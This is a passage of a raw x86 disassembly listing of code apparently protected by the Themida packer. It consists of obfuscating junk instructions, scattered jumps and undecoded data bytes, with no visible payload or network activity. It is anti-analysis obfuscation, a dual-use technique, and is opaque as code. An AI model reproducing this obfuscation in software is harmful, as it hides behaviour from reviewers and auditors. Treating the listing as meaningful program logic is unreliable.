		dd 3C502D53h, 0B9512F8Ah, 7E40DC3h, 0C8BC801h, 0E5D7E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_55D64E:				; CODE XREF: Themida_:00562E27j
		sub	dword ptr [esp], 0FB22BC6h
		jmp	loc_55C18C
; ---------------------------------------------------------------------------
		dw 0C6B8h
		dd 35229544h, 229544C2h, 8158C601h, 4EEh, 24348700h, 8924248Bh
		dd 0EC81240Ch, 4, 68241489h, 0BF087Ch, 0E6BF575Ah, 293875D1h
		dd 0D1895FFAh, 8124148Bh, 4C4h,	0A507E900h, 0B9510000h
		dd 4, 0D6E9CE89h, 100000Ah, 0FB0158C7h,	0A256E9h, 241C8900h
		dd 0F3D68h, 4EC8300h, 612968h, 24248900h, 4240481h, 8F000000h
		dd 7EE92404h
		db 93h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_55D6D7:				; CODE XREF: Themida_:00566E76j
		sub	edi, 64940C06h
		add	edi, 0E5879A8h
		add	edi, 3945647Dh
		mov	ecx, edi
		mov	edi, [esp]
		jmp	loc_5628B2
; ---------------------------------------------------------------------------
		db 8Bh
		dd 24D22424h, 8DE99C24h, 5AFFFFB1h, 0D1A9EE05h,	0C78957BDh
		dd 3C8B5B57h, 4C48324h,	3CB0158h, 0E9595B03h, 0FFFFF1AAh
; ---------------------------------------------------------------------------

loc_55D71C:				; CODE XREF: Themida_:0055A08Aj
		mov	ecx, [esp]
		jmp	loc_56BD0E
; ---------------------------------------------------------------------------
		dd 32E9C281h, 815F585Eh, 4EAh, 24148700h, 241C895Ch, 49E2E9h
		db 0
; ---------------------------------------------------------------------------

loc_55D73D:				; CODE XREF: Themida_:0056A225j
		neg	eax
		neg	eax
		add	eax, 60F6447h
		xor	eax, 758E43DDh
		push	1558h
		mov	[esp], ebx
		jmp	loc_567A31
; ---------------------------------------------------------------------------

loc_55D758:				; CODE XREF: Themida_:00566EEAj
		xor	ecx, ebx
		not	ebx
		xchg	ebx, ecx
		sub	esp, 4
		jmp	loc_55EC46
; ---------------------------------------------------------------------------
		dw 0BE56h
		dd 3EAC04EBh, 1067DE9h,	58C30100h, 8704C383h, 815C241Ch
		dd 4C3h, 0DAE6E900h, 0E2890000h, 0F66AE9h, 0C3814300h
		dd 179E0F88h, 18E9BA52h, 0C6E919B0h, 81FFFFB1h,	0C98E5EEh
		dd 1F1FE95Fh
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_55D7AA:				; CODE XREF: Themida_:0055ADF1j
		mov	[esp], edi
		sub	esp, 4
		mov	[esp], esi
		jmp	loc_56CB5D
; ---------------------------------------------------------------------------
		dd 0AFEE80h, 0ADE95AF3h, 5600006Fh, 0BA76C068h,	9ECFE922h
		dd 815F0000h, 0F9042444h, 5359202Ch, 53356CBBh,	245C2915h
		dd 54015B08h, 44810424h, 356C0424h, 6C811553h, 2CF90424h
		dd 0BB535920h, 508F60D4h, 8245C01h, 0E9D1E9h, 240C8B00h
		dd 0E904EC83h, 74A1h, 803EB652h, 0E3E993EEh
		db 0E9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55D81B:				; CODE XREF: Themida_:005615E5j
		shr	ecx, 7
		push	dword ptr [edi+1Ch]
		push	dword ptr [esp]
		mov	eax, [esp]
		jmp	loc_55C473
; ---------------------------------------------------------------------------

loc_55D82C:				; CODE XREF: Themida_:0056BB7Fj
		sub	dword ptr [esp+4], 468126Eh
		jmp	loc_56D744
; ---------------------------------------------------------------------------

loc_55D839:				; CODE XREF: Themida_:00564722j
		sub	ebp, edx
		pop	edx
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_559C60
; ---------------------------------------------------------------------------

loc_55D845:				; CODE XREF: Themida_:0056A59Aj
		mov	dh, bh
		pop	ebx
		jmp	loc_56410A
; ---------------------------------------------------------------------------
		db 89h,	0E6h, 81h
		dd 4C6h, 4C68300h, 5C243487h, 0FFC2B2E9h, 80F381FFh, 8334A36Dh
		dd 0F38101EBh, 774D5BE0h, 39F8F381h, 0D9290AB5h, 0F1BCE95Bh
		dd 34FF0000h, 2434FF24h, 4C48358h, 8904EC83h, 0EC812414h
		dd 4, 0FFE3F0E9h, 81C701FFh, 5E24CBEFh,	24048B7Fh, 4C481h
		dd 0BE560000h, 591C18A6h, 1BF57h, 0FE010000h, 0C8CE815Fh
		dd 8173CA0Dh, 0DE1DEBF6h, 0E9F7297Bh, 0FFFFF151h
; ---------------------------------------------------------------------------

loc_55D8CC:				; CODE XREF: Themida_:005616E0j
		mov	edx, [esp]
		add	esp, 4
		add	ecx, ebx
		pop	ebx
		add	ecx, 58C2A19h
		add	ecx, 1
		push	edx
		mov	edx, 0DA4F12F4h
		jmp	loc_5621D2
; ---------------------------------------------------------------------------

loc_55D8EF:				; CODE XREF: Themida_:0055BB31j
		add	edi, esi
		pop	esi
		sub	edi, 5341026Ch
		pop	ecx
		xchg	edi, [esp]
		jmp	loc_55E459
; ---------------------------------------------------------------------------
		db 0C1h, 0E3h, 8
		dd 0FFB0B7E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_55D909:				; CODE XREF: Themida_:0055EA5Fj
		push	ebx
		jmp	loc_565B18
; ---------------------------------------------------------------------------
		db 51h
		dd 2F24EFB9h, 7EE18159h, 810A0139h, 0FEDF96C1h,	59CA01F7h
		dd 4BB53h, 0DA010000h, 2414335Bh, 33241431h, 248B2414h
		dd 0C149E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55D93E:				; CODE XREF: Themida_:00559558j
		xor	edx, [esp]
		pop	esp
		jmp	loc_56C941
; ---------------------------------------------------------------------------
		db 29h
		dd 655605D8h, 0FF5B3D53h, 685A2434h, 54AAh, 54243C89h
		dd 9BCBE95Fh, 0B0500000h, 0CBEB80F5h, 3AC380h, 3AEB80C3h
		dd 0FFCBC380h, 83582434h, 1C8904ECh, 81E38924h,	4C3h, 0E9565000h
		dd 0FFFFF5C8h, 2BDh, 5DEA0100h,	0E3B0E9h
		db 0
; ---------------------------------------------------------------------------

loc_55D999:				; CODE XREF: Themida_:00559026j
		mov	[esp], edx
		jmp	loc_55E9A4
; ---------------------------------------------------------------------------
		db 0E9h, 0E6h, 0AEh
		dd 0C87FFFFh, 24248B24h, 0FFDAE955h, 0F780FFFFh, 0B15152DDh
		dd 59CA8800h, 70CAE9h, 4BF8BA00h, 0DAE97B99h, 5DFFFFE3h
		dd 51E9C281h, 45E9510Bh, 1FFFFF2h, 0C266E9D0h, 0EA81FFFFh
		dd 0FFE3409h, 0C281CA01h, 0FFE3409h, 63A3C281h,	34FF5E85h
		dd 0C4835924h, 8BD73104h, 5E92414h, 53000037h, 0CD3AE9h
		dd 4BD5500h, 89000000h,	0FD895DEFh, 0FFE8015Fh,	0E9E92434h
		db 2Ch,	2 dup(0)
; ---------------------------------------------------------------------------

loc_55DA1F:				; CODE XREF: Themida_:0056AF4Ej
		mov	dh, bh
		pop	ebx
		push	ecx
		mov	cl, 5Eh
		neg	cl
		and	cl, 0D7h
		add	cl, 70h
		sub	cl, 0A2h
		add	dh, cl
		pop	ecx
		sub	bl, dh
		pop	edx
		sub	bl, 0AAh
		sub	bl, 0C7h
		sub	bl, 0DFh
		movzx	eax, al
		jmp	dword ptr [edi+eax*4]
; ---------------------------------------------------------------------------
		db 61h,	0C3h, 0FFh
a4Sr		db '4$éà)',0
		db 0
; ---------------------------------------------------------------------------

loc_55DA4F:				; CODE XREF: Themida_:0055FB48j
		mov	ecx, 4
		jmp	loc_563A5F
; ---------------------------------------------------------------------------
		db 81h,	0F6h, 77h
		dd 31C53803h, 0E8295EF5h, 5D8015Dh, 2E301696h, 0BC86E95Bh
		dd 0E9AC0000h, 0D565h
; ---------------------------------------------------------------------------

loc_55DA78:				; CODE XREF: Themida_:0055888Dj
		push	ecx
		jmp	loc_56964C
; ---------------------------------------------------------------------------
		dw 5166h
		dd 548AD188h, 4C880224h, 59660224h, 0D670E9h, 4C48100h
		dd 81000000h, 0A159E3EFh, 7BEF8147h, 0E9379C38h, 0FFFFB91Fh
		dd 4BB53h, 0DF890000h, 77BD685Bh, 3C890000h, 2364BF24h
		dd 0FE0165B2h, 81FE015Fh, 0B22364EEh, 243C8B65h, 28B6E9h
		dd 0E9815A00h, 722716E3h, 0BCF68h, 24148900h, 6421F9BAh
		dd 0F868E93Bh, 0C2810000h, 61C31892h, 0EA81C229h, 61C31892h
		dd 0AF49E958h, 0E3B4FFFFh, 8008E4C0h, 0E78895C4h, 8324048Bh
		dd 64E904C4h
		db 0E8h, 2 dup(0)
; ---------------------------------------------------------------------------

loc_55DB13:				; CODE XREF: Themida_:005623F9j
		mov	cl, 87h
		jmp	loc_55CF60
; ---------------------------------------------------------------------------
		dw 148Bh
		dd 4C48124h, 0F6000000h, 4E3C0DBh, 80A1B551h, 39E903CDh
		dd 31000071h, 0C0E9240Ch, 88000009h, 5BDE88CBh,	0E59EE9h
		db 0
; ---------------------------------------------------------------------------

loc_55DB45:				; CODE XREF: Themida_:0056D1A4j
		xor	ebp, 0E2F059Dh
		shr	ebp, 5
		neg	ebp
		inc	ebp
		push	ebp
		neg	dword ptr [esp]
		jmp	loc_5682FC
; ---------------------------------------------------------------------------

loc_55DB5A:				; CODE XREF: Themida_:00566F95j
		push	3B71h
		jmp	loc_5602AC
; ---------------------------------------------------------------------------
		dd 68240C89h, 48910A09h, 81D1F759h, 0D05B22F1h,	27C18112h
		dd 896E4E8Eh, 7764E9CAh, 0E9810000h, 2792CD2h, 0C181E901h
		dd 2792CD2h, 127BE9h
		db 0
; ---------------------------------------------------------------------------

loc_55DB95:				; CODE XREF: Themida_:0056377Bj
		pop	edi
		neg	ebp
		shr	ebp, 2
		dec	ebp
		jmp	loc_56677F
; ---------------------------------------------------------------------------

loc_55DBA1:				; CODE XREF: Themida_:00565B20j
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 37B17117h
		jmp	loc_5618D5
; ---------------------------------------------------------------------------
		dd 5A966851h, 2AE90014h, 5AFFFFD3h, 4BD55h, 0EF010000h
		dd 9E7AE95Dh
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_55DBCE:				; CODE XREF: Themida_:005642A5j
		add	eax, 0DBB18522h
		sub	edx, eax
		pop	eax
		jmp	loc_56882F
; ---------------------------------------------------------------------------
		db 8Fh
		dd 248B2404h, 4296624h,	0A1E99C24h
		db 0ACh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55DBEB:				; CODE XREF: Themida_:0056D463j
		pop	ecx
		xchg	edx, [esp]
		pop	esp
		mov	[esp], ebp
		jmp	loc_564130
; ---------------------------------------------------------------------------
		dd 0E955DA01h, 5CB8h
; ---------------------------------------------------------------------------

loc_55DC00:				; CODE XREF: Themida_:005688BEj
		or	al, 2Eh
		xor	al, 55h
		push	cx
		jmp	loc_55C8BD
; ---------------------------------------------------------------------------

loc_55DC0B:				; CODE XREF: Themida_:0056BA9Cj
		push	edx
		mov	edx, 99A7BC96h
		xor	ecx, edx
		pop	edx
		sub	eax, ecx
		pop	ecx
		jmp	loc_56CF46
; ---------------------------------------------------------------------------
		dd 104C483h, 240C8BCAh,	4C481h,	14330000h, 24143124h, 0E9241433h
		dd 0FFFFBF62h
; ---------------------------------------------------------------------------

loc_55DC38:				; CODE XREF: Themida_:0055D303j
		add	ebp, 4
		jmp	loc_55E08C
; ---------------------------------------------------------------------------

loc_55DC40:				; CODE XREF: Themida_:00564AC8j
		push	esi
		mov	esi, 4
		add	ebp, esi
		pop	esi
		jmp	loc_56DD3D
; ---------------------------------------------------------------------------
		dw 4B0h
		dd offset dword_457444+4C2A5h
		dd 2AB05000h, 0C288A82Ch, 0E924048Bh, 0AEDDh, 40EAE181h
		dd 0B8502C52h, 0E5CF704Eh, 30E9C101h, 0F0000EFh, 4E68C8B6h
		dd 89000052h, 5E9240Ch,	8BFFFFACh, 0CE292424h, 592434FFh
		dd 4C481h, 0FF560000h, 5E042474h, 8B24048Fh, 89662424h
		dd 0E1E9240Ch
		db 0ABh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55DCAB:				; CODE XREF: Themida_:00566F4Cj
		push	ecx
		push	dword ptr [esp+4]
		mov	ecx, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], ebx
		jmp	loc_5688C3
; ---------------------------------------------------------------------------

loc_55DCC5:				; CODE XREF: Themida_:00568E7Ej
		mov	[esp], edx
		mov	edx, 2
		add	esi, edx
		push	dword ptr [esp]
		jmp	loc_560768
; ---------------------------------------------------------------------------
		db 66h
		dd 6824048Bh, 12D0h, 68241489h,	4B23h, 81242489h, 42404h
		dd 148B0000h, 4C48324h,	16AFB850h, 57250C72h, 8365AE4Ah
		dd 0D8F701E8h, 22020A05h, 58C20104h, 2CCCE9h, 24148900h
		dd 0AC48FABAh, 5AD10911h, 4BE5641h, 0E9508070h,	9FEFh
		dd 53240489h, 2E07BE56h, 0E9573779h, 0A1F3h, 4EC81h, 3C890000h
		dd 6E38BF24h, 0FC2D5353h, 0E97DE96Eh, 2667h, 4BA52h, 0D7010000h
		dd 243C875Ah, 2434FF5Ch, 8324048Bh, 545304C4h, 4C3815Bh
		dd 0E9000000h, 3F59h, 4C381h, 0EB810000h, 4, 0E9241C87h
		dd 0F245h, 468h, 0FA015F00h, 2414335Fh,	0E9241431h, 0FFFFE53Bh
; ---------------------------------------------------------------------------

loc_55DDA0:				; CODE XREF: Themida_:0055EBEAj
		xchg	ebx, esi
		not	ebx
		xchg	ebx, esi
		jmp	loc_5640D3
; ---------------------------------------------------------------------------
		db 80h
		dd 0E7D0ACF7h, 0CFFEEFD0h, 2816C780h, 3CE95BFCh, 10000F9h
		dd 0B85059CAh, 69064E90h, 0B6E9C201h, 68000093h, 3F29h
		dd 0E9240C89h, 0A583h
; ---------------------------------------------------------------------------

loc_55DDDC:				; CODE XREF: Themida_:00569D45j
		mov	ebx, 400h
		and	eax, ebx
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		sub	esp, 4
		mov	[esp], esi
		push	esp
		pop	esi
		push	edx
		push	edx
		jmp	loc_565BEE
; ---------------------------------------------------------------------------

loc_55DE02:				; CODE XREF: Themida_:00562B96j
		pop	edx
		push	esi
		mov	esi, esp
		jmp	loc_563CC7
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		pop	esp
		push	esp
		pop	dword ptr [esp]
		push	ebx
		jmp	loc_5599F2
; ---------------------------------------------------------------------------
		dw 0C681h
		dd 3E84128Ch, 9387EE81h, 0F2011BF3h, 68C2015Eh,	3BABh
		dd 0BB241C89h, 2410404Ah, 8B5BDA29h, 0C4812404h, 4, 2C281h
		dd 14870000h, 24248B24h, 0F66E9F6h, 0EC81CCB6h,	4, 54241489h
		dd 0BBBD555Ah, 8105CE42h, 4ECh,	24148900h, 0C96563BAh
		dd 0E59BE976h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55DE8E:				; CODE XREF: Themida_:0056CCF3j
		add	eax, 36AFAB59h
		add	ebp, eax
		pop	eax
		add	ebp, 4
		push	77E4h
		mov	[esp], ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		pop	esp
		or	eax, eax
		jz	loc_559808
		push	dword ptr [edi+1Ch]
		push	dword ptr [esp]
		mov	ecx, [esp]
		jmp	loc_55FCEB
; ---------------------------------------------------------------------------
		db 50h
		dd 42474FFh, 8124048Bh,	4C4h, 24048F00h, 240C895Ch, 268h
		dd 2434FF00h, 0FD36E959h, 0EC81FFFFh, 4, 0FFE28AE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_55DEF1:				; CODE XREF: Themida_:0056ABD4j
		push	edx
		not	dword ptr [esp]
		pop	edx
		xor	edx, 269150C3h
		add	edx, 7ED6DF81h
		add	ecx, 72D724A8h
		sub	ecx, edx
		jmp	loc_5699C4
; ---------------------------------------------------------------------------
aSZ		db 8,'Ýé½Z',0
		align 2
		dw 53ADh
		dd 0C381E389h, 4, 8704EB83h, 895C241Ch,	0F5E9243Ch, 100003Ah
		dd 0E95159C8h, 0DACEh
; ---------------------------------------------------------------------------

loc_55DF38:				; CODE XREF: Themida_:00569E66j
		add	eax, 44C97952h
		xor	ecx, eax
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_56529B
; ---------------------------------------------------------------------------

loc_55DF4A:				; CODE XREF: Themida_:0055AB58j
		sub	edi, 0F44231h
		mov	ebx, [esp]
		jmp	loc_5626AB
; ---------------------------------------------------------------------------
		dd 24048B66h, 59B568h, 9D98E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_55DF66:				; CODE XREF: Themida_:00563D37j
		jmp	loc_55888C
; ---------------------------------------------------------------------------
		db 0FFh
		dd 0C8B2434h, 0E851E924h, 0E955FFFFh, 5FB6h, 0C1FEC1FEh
		dd 8003E1C0h, 0C800A4C1h, 0EA66E959h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_55DF8E:				; CODE XREF: Themida_:0056C9A1j
		add	ecx, edx
		jmp	loc_561B9A
; ---------------------------------------------------------------------------
		db 81h,	0F6h, 4
		dd 5005CC4Ch, 6B4EBE56h, 0F681242Ah, 75DC6208h,	24048156h
		dd 42624630h, 8124048Bh, 4C4h, 46302D00h, 0E94262h, 520000B4h
		dd 523BBE56h, 0F2895140h, 7FEE9h, 0C1D9F700h, 0D4E905E1h
		dd 89000098h, 4C781E7h,	83000000h, 3C8704EFh, 34ECE924h
		dd 8B5E0000h, 0C481240Ch, 4, 0FEE049BAh, 346CE9DAh
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_55E002:				; CODE XREF: Themida_:0055C79Dj
		mov	[esp], ebx
		push	71DEh
		mov	[esp], eax
		jmp	loc_558D45
; ---------------------------------------------------------------------------
		dw 159h
		dd 89505EF7h, 405E0h, 0E8830000h, 24048704h, 8924248Bh
		dd 4BB241Ch, 0E9000000h, 8353h,	2AB6C581h, 0ED8114C7h
		dd 11E5194Fh, 426DCD81h, 0DDF7545Ch, 0B2F5814Dh, 89CCC3D5h
		dd 2434FFE8h, 0E289525Dh, 4C281h, 43E90000h, 89FFFFE9h
		dd 4C581E5h, 83000000h,	2C8704EDh, 1C895C24h, 0BA525124h
		dd 4, 148BD189h, 4C48324h, 0E959CB89h, 49Ch
; ---------------------------------------------------------------------------

loc_55E08C:				; CODE XREF: Themida_:0055DC3Bj
		xchg	ebp, [esp]
		pop	esp
		sub	esp, 4
		mov	[esp], edi
		push	eax
		push	edi
		mov	edi, 790A0E34h
		add	edi, 86F5F1CEh
		mov	eax, edi
		pop	edi
		mov	edi, eax
		pop	eax
		sub	esi, edi
		pop	edi
		xchg	esi, [esp]
		mov	esp, [esp]
		jmp	loc_558CAD
; ---------------------------------------------------------------------------

loc_55E0BA:				; CODE XREF: Themida_:0056A256j
		mov	esi, 34490132h
		add	esi, 49E003F3h
		jmp	loc_565E85
; ---------------------------------------------------------------------------
		dw 0C483h
		dd 0C289E904h, 48FFFFFh, 24248B24h, 24048B66h, 604668h
		dd 24148900h, 5BCF68h, 7C936800h, 24890000h, 22E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_55E0F6:				; CODE XREF: Themida_:00560B6Bj
		pop	dword ptr [esp]
		push	dword ptr [esp]
		jmp	loc_55B865
; ---------------------------------------------------------------------------

loc_55E101:				; CODE XREF: Themida_:0055C8C1j
		pop	cx
		xor	bh, al
		pop	eax
		sub	esp, 4
		jmp	loc_55D28A
; ---------------------------------------------------------------------------

loc_55E111:				; CODE XREF: Themida_:00563ACFj
		xor	ecx, eax
		jmp	loc_565EB2
; ---------------------------------------------------------------------------
		dd 4240483h, 0E924048Fh, 391h, 0E9241489h, 0FFFFA760h
		dd 8B2434FFh, 3AE92414h, 35FFFFC3h, 41BC23FEh, 556EB305h
		dd 58C30157h, 4BD55h, 0EB290000h, 74FF535Dh, 8F5B0424h
		dd 895C2404h, 0DDBD242Ch, 814A2554h, 4A11E3EAh,	81EA291Dh
		dd 4A11E3C2h, 98E95D1Dh, 66FFFFEDh, 6824048Bh, 1840h, 274CE9h
		dd 0F1015900h, 0BD71E95Eh, 2C89FFFFh, 50E58924h, 4B8h
		dd 65C58100h, 107A800h,	65ED81C5h, 8B07A800h, 0C4812404h
		dd 4, 0FFC75CE9h, 24048FFFh, 0E924248Bh, 0A66Ah
; ---------------------------------------------------------------------------

loc_55E1BC:				; CODE XREF: Themida_:0055F90Fj
		add	ebx, 2F3A61ACh
		add	ebx, 0E9026E3Ch
		mov	edx, ebx
		jmp	loc_5664CD
; ---------------------------------------------------------------------------
		db 87h
		dd 814A42EAh, 9EF2FAF2h, 0FFD12980h, 0E95A2434h, 0FFFFB6A6h
		dd 8BFB895Bh, 0C481243Ch, 4, 8124048Bh,	4C4h, 43C38100h
		dd 1402B38h, 43EB81D3h,	81402B38h, 4ECh, 24048900h, 0B8h
		dd 0E9D80100h, 4EACh, 0FFA66BE9h, 2434FFFFh, 4C4835Fh
		dd 60CD68h, 24148900h, 0C281E289h, 4, 0FB4EE957h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55E23E:				; CODE XREF: Themida_:005617A8j
		push	0F9Fh
		mov	[esp], ecx
		push	dword ptr [esp+4]
		pop	ecx
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	[esp], edi
		push	ebp
		push	18BD6D28h
		mov	ebp, [esp]
		jmp	loc_5656EA
; ---------------------------------------------------------------------------
		dw 0D328h
		dd 50C3805Ah, 803CC380h, 0F3689DEBh, 89000078h,	2CE92414h
		dd 31000098h, 3C33243Ch, 24248B24h, 1968E9F7h, 8900006Dh
		dd 9C502414h, 0FFA5F7E9h, 243C87FFh, 243C895Ch,	4EC81h
		dd 78E90000h, 89FFFFD0h, 0ABE0E9E3h, 0ED810000h, 8FD2D755h
		dd 4DE9E801h
		db 82h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_55E2BB:				; CODE XREF: Themida_:00562FD5j
		push	edi
		jmp	loc_55C54B
; ---------------------------------------------------------------------------
		db 81h,	0EFh, 0D4h
		dd 1765A37h, 0FF515FF9h, 0E9042474h, 0BB6Ch, 8DD6F181h
		dd 0CD292604h, 17E95359h
		db 0A7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55E2E3:				; CODE XREF: Themida_:0055D619j
		xor	ecx, 323D32B4h
		jmp	loc_56A7F2
; ---------------------------------------------------------------------------

loc_55E2EE:				; CODE XREF: Themida_:00566D8Aj
		mov	esi, 6A4204F0h
		jmp	loc_564A60
; ---------------------------------------------------------------------------
		dd 0EA81DAF7h, 1, 0C73CE9h, 24448100h, 975FBD04h, 2C66E927h
		dd 0B0500000h, 0D8AEE928h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55E31A:				; CODE XREF: Themida_:0055A0BFj
		mov	ecx, 3EAB5275h
		inc	ecx
		jmp	loc_56243A
; ---------------------------------------------------------------------------
		db 2Dh,	8Ah, 34h
		dd 0DC054D78h, 0E9100E59h, 7A99h
; ---------------------------------------------------------------------------

loc_55E334:				; CODE XREF: Themida_:00562D30j
		mov	eax, esi
		pop	esi
		jmp	loc_56429B
; ---------------------------------------------------------------------------
		dd 0A600E005h, 0DF6BE974h, 0C1290000h, 582434FFh, 5504C483h
		dd 0B4BB5351h, 0E93BA348h, 0D649h
; ---------------------------------------------------------------------------

loc_55E35C:				; CODE XREF: Themida_:0055A529j
		pop	eax
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		mov	esp, [esp]
		jmp	loc_56A44B
; ---------------------------------------------------------------------------
		dw 0E940h
		dd 9716h, 0E9F18966h, 85C3h, 0EC835A54h, 241C8904h, 696961BBh
		dd 65F38165h, 1656969h,	241C8BDAh, 0CD31E951h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_55E39A:				; CODE XREF: Themida_:005692D1j
		mov	[esp], esi
		jmp	loc_560628
; ---------------------------------------------------------------------------

loc_55E3A2:				; CODE XREF: Themida_:00565F16j
		add	esp, 4
		jmp	loc_562FCF
; ---------------------------------------------------------------------------
		db 0FFh, 34h, 24h
		dd 4C48158h, 81000000h,	4C4h, 5A545200h, 4EA668h, 0DD57E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_55E3CA:				; CODE XREF: Themida_:0056C590j
		pop	edi
		jmp	loc_55EC25
; ---------------------------------------------------------------------------
		dd 0BB53E689h, 4, 0FFCD00E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_55E3DD:				; CODE XREF: Themida_:005616D9j
		not	edi
		dec	edi
		sub	edi, 0A20BE709h
		add	ebp, edi
		jmp	loc_56DB9A
; ---------------------------------------------------------------------------
		db 81h,	0C4h, 4
		dd 53000000h, 0C3815B54h, 4, 4C381h, 1C870000h,	96E95C24h
		db 0F5h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55E40B:				; CODE XREF: Themida_:0055D1FAj
		pop	ebx
		push	ebp
		push	dword ptr [esp+4]
		mov	ebp, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		push	5C02h
		mov	[esp], ebp
		mov	ebp, 4CDC3A45h
		push	ebx
		mov	ebx, 47A712CBh
		push	ecx
		mov	ecx, 1D711D25h
		neg	ecx
		shr	ecx, 5
		shr	ecx, 8
		push	6630h
		jmp	loc_560567
; ---------------------------------------------------------------------------
		db 83h
		dd 22E904EBh
		db 0BFh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55E453:				; CODE XREF: Themida_:0056BC20j
		push	ebx
		jmp	loc_561865
; ---------------------------------------------------------------------------

loc_55E459:				; CODE XREF: Themida_:0055D8FCj
		mov	esp, [esp]
		pop	edx
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 1
		jmp	loc_56CA13
; ---------------------------------------------------------------------------
		dd 875DE901h, 525C240Ch, 2FC1E9h
		db 0
; ---------------------------------------------------------------------------

loc_55E47D:				; CODE XREF: Themida_:00569DB8j
		mov	[esp], edx
		jmp	loc_560326
; ---------------------------------------------------------------------------
		db 8Fh,	4, 24h
		dd 0FFDD23E9h, 26B951FFh, 11A582Dh, 5908244Ch, 4247C29h
		dd 4246C81h, 1A582D26h,	961AE95Fh, 0C4810000h, 4, 0FFD93EE9h
		dd 26857FFh, 89000010h,	61682414h, 5A3A4324h, 8992E9h
		dd 0CDB25200h, 805AD328h, 88E99DEBh, 57FFFFB5h,	1A0FE9h
		db 0
; ---------------------------------------------------------------------------

loc_55E4DD:				; CODE XREF: Themida_:0055FD13j
		add	esp, 4
		add	ebp, 4
		sub	esp, 4
		mov	[esp], esi
		push	ebx
		mov	ebx, 72DC1DEBh
		push	ebx
		pop	esi
		pop	ebx
		push	eax
		jmp	loc_562F7E
; ---------------------------------------------------------------------------
		db 33h
		dd 8F5C240Ch, 685C2404h, 6F9Eh,	53240C89h, 0DD88D388h
		dd 0E9241C8Bh, 0B5E1h
; ---------------------------------------------------------------------------

loc_55E518:				; CODE XREF: Themida_:00560FC8j
		sub	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], esi
		push	ebp
		jmp	loc_569680
; ---------------------------------------------------------------------------
		dd 287768h, 242C8900h, 0AD7080BDh, 246C2941h, 242C8B08h
		dd 43B2E9h, 6A44BD00h, 0CD292676h, 0C7BCE959h, 0C89FFFFh
		dd 2AB0B924h, 5CE9007Dh, 5E000018h, 562CE9h, 8BF90900h
		dd 0C481243Ch, 4, 41C98149h, 814A2D2Ah,	0FFFFFFE9h, 0D0F6E9FFh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55E57E:				; CODE XREF: Themida_:005688E9j
		pop	ebx
		xor	dh, 17h
		jmp	loc_5615EA
; ---------------------------------------------------------------------------

loc_55E587:				; CODE XREF: Themida_:00559062j
		sub	edx, 0C5338B14h
		jmp	loc_55E886
; ---------------------------------------------------------------------------

loc_55E592:				; CODE XREF: Themida_:0056371Aj
		mov	esp, [esp]
		jmp	loc_558AE3
; ---------------------------------------------------------------------------

loc_55E59A:				; CODE XREF: Themida_:00559430j
		pop	edx
		add	ecx, 16C018CDh
		jmp	loc_565F90
; ---------------------------------------------------------------------------

loc_55E5A6:				; CODE XREF: Themida_:0055F9BBj
		pop	esi
		add	ebp, 4
		push	6FB4h
		mov	[esp], ebp
		push	dword ptr [esp+4]
		jmp	loc_55E770
; ---------------------------------------------------------------------------

loc_55E5BB:				; CODE XREF: Themida_:0055ED90j
		pop	dword ptr [esp]
		jmp	loc_56D3D3
; ---------------------------------------------------------------------------
		db 0B5h
		dd 3CD8088h, 1CFF68h, 24148900h, 0CAFEEA88h, 0E95AD588h
		dd 0FFFFA895h, 6B65ED81h, 0C581036Bh, 4E8C789Ah, 82CBE9h
		dd 23A26800h, 14890000h, 88E28824h, 88585AD5h, 885B59ECh
		dd 85E95821h
		db 0C4h, 2 dup(0)
; ---------------------------------------------------------------------------

loc_55E607:				; CODE XREF: Themida_:0056005Aj
		add	esp, 4
		add	edx, 2E19353Bh
		add	edx, edi
		sub	edx, 2E19353Bh
		mov	ecx, [edx]
		pop	edx
		sub	esp, 4
		jmp	loc_569FCB
; ---------------------------------------------------------------------------

loc_55E623:				; CODE XREF: Themida_:005619A7j
		pop	esp
		mov	[esp], ecx
		mov	ecx, 1000h
		mov	esi, ecx
		pop	ecx
		push	esi
		jmp	loc_560809
; ---------------------------------------------------------------------------

loc_55E635:				; CODE XREF: Themida_:0055B76Aj
		pop	ebp
		jmp	loc_55B93E
; ---------------------------------------------------------------------------
		db 89h
		dd 4C181E1h, 0E9000000h, 13F5h
; ---------------------------------------------------------------------------

